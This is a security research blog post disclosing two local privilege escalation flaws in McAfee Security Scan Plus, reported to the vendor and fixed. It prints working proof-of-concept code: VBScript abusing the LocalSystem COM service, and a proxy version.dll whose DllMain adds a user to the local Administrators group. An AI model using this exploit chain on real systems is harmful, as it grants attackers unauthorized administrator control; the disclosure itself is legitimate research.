Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

Two Privilege Escalation Vulnerabilities in McAfee Security Scan Plus

This post will discuss two separate Local Privilege Escalation vulnerabilities in the McAfee Security Scan Plus product. You've probably seen it coming with Adobe Flash installer for Windows as an add-on. This product installs as a Windows Service running as LocalSystem called McAfee Security Scan Component Host Service. During an audit of this product I found that any unprivileged user on a computer where the McAfee Security Scan Plus is installed could interrogate the service. More specifically, any user can communicate with the service via simple COM component as shown below and start certain programs:

Option Explicit
Dim objHost : Set objHost = CreateObject("McComponentHostService.McCompHost")
Dim objAV : Set objAV = objHost.GetObject("{7822F49B-3B6E-4646-86A9-204D7488A1FD}")
objAV.Configure("C:\Windows\TEMP\McUICnt.exe")
objAV.Scan()
objAV.GetReport()

This VBScript code will start the C:\Windows\TEMP\McUICnt.exe process as LocalSystem even when executed as an unprivileged user. An important thing here is that the path to launch is configurable. The only limitation is that I was unable to start arbitrary processes – there is a check in McAfee code that limits binaries to McAfee-signed ones.

However, since we can manipulate the path to the binary, my next thought was to copy a genuine binary from the product to the %TEMP% directory and see if it will load fake libraries on start up. Sure enough, that's exactly what it did! The next step was creating a wrapper around one of the dlls loaded by the McUICnt.exe – version.dll specifically. Here is the code:

#include 
#include
#pragma comment(linker, "/export:GetFileVersionInfoA=mversion.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoByHandle=mversion.GetFileVersionInfoByHandle")
#pragma comment(linker, "/export:GetFileVersionInfoExW=mversion.GetFileVersionInfoExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=mversion.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeExW=mversion.GetFileVersionInfoSizeExW")
#pragma comment(linker, "/export:GetFileVersionInfoSizeW=mversion.GetFileVersionInfoSizeW")
#pragma comment(linker, "/export:GetFileVersionInfoW=mversion.GetFileVersionInfoW")
#pragma comment(linker, "/export:VerFindFileA=mversion.VerFindFileA")
#pragma comment(linker, "/export:VerFindFileW=mversion.VerFindFileW")
#pragma comment(linker, "/export:VerInstallFileA=mversion.VerInstallFileA")
#pragma comment(linker, "/export:VerInstallFileW=mversion.VerInstallFileW")
#pragma comment(linker, "/export:VerLanguageNameA=kernel32.VerLanguageNameA")
#pragma comment(linker, "/export:VerLanguageNameW=kernel32.VerLanguageNameW")
#pragma comment(linker, "/export:VerQueryValueA=mversion.VerQueryValueA")
#pragma comment(linker, "/export:VerQueryValueW=mversion.VerQueryValueW")
BOOL WINAPI DllMain(HINSTANCE hDllHandle, DWORD nReason, LPVOID Reserved)
{
system("net localgroup Administrators james /add");
return TRUE;
}

When compiled and placed in %TEMP% directory near the McUICnt.exe, this will grant user "james" local Administrator group membership when chained with the VBScript shown above.

During this research I discovered another vulnerability in the same product that is even simpler to exploit. There is a dedicated method to execute programs as LocalSystem in one of the objects exposed by the application:

Option Explicit
Dim objHost, objX
Set objHost = CreateObject("McComponentHostService.McCompHost")
Set objX = objHost.GetObject("{C4B9CF70-99E3-42A3-ACED-4AE75B2A0EA5}")|
Call objX.RunProgramEx("C:\WINDOWS\system32\net.exe", "localgroup Administrators james /add", vbNull, False, False)

Trustwave SpiderLabs reported both of these vulnerabilities to Intel Security and worked with them on testing the fix. The Trustwave advisory for these vulnerabilities is available here: TWSL2017-002

Latest SpiderLabs Blogs

Cloudy with a Chance of Hackers: Protecting Critical Cloud Workloads

If you've been following along with David's posts, you'll have noticed a structure to the topics: Part I: The Plan, Part II: The Execution and now we move into Part III: Security Operations. Things...

Read More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update

Trustwave is proactively assessing and monitoring our clients who may have been impacted by CrowdStrike’s recently rolled-out update for its Windows users. The critical issue identified with...

Read More

Using AWS Secrets Manager and Lambda Function to Store, Rotate and Secure Keys

When working with Amazon Web Services (AWS), we often find that various AWS services need to store and manage secrets. AWS Secrets Manager is the go-to solution for this. It's a centralized service...

Read More